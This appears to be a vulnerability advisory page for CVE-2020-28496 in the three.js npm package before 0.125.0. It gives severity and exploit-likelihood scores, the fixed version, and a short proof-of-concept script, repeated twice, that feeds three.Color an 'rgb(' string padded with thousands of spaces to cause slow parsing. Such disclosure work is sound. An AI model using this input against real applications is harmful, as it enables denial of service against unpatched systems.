Kurz gesagt
- CVE-2020-28496 ist eine Schwachstelle (HOCH (CVSS 7.5)) in three (three project), three.
- Wahrscheinlichkeit einer Ausnutzung in den nächsten 30 Tagen (EPSS): 2.5%, höher als bei 84.9% aller Schwachstellen.
- Abhilfe: auf 0.125.0 oder neuer aktualisieren.
| Package | Affected versions | Patched versions |
|---|
| three | < 0.125.0
| 0.125.0
|
| three npm | < 0.125.0
| 0.125.0
|
Description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors.
PoC:
var three = require('three')
function build_blank(n) {
var ret = "rgb("
for (var i = 0; i < n; i++) {
ret += " "
}
return ret + "";
}
var Color = three.Color
var time = Date.now();
new Color(build_blank(50000)) var time_cost = Date.now() - time;
console.log(time_cost + " ms")
NVD description
This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
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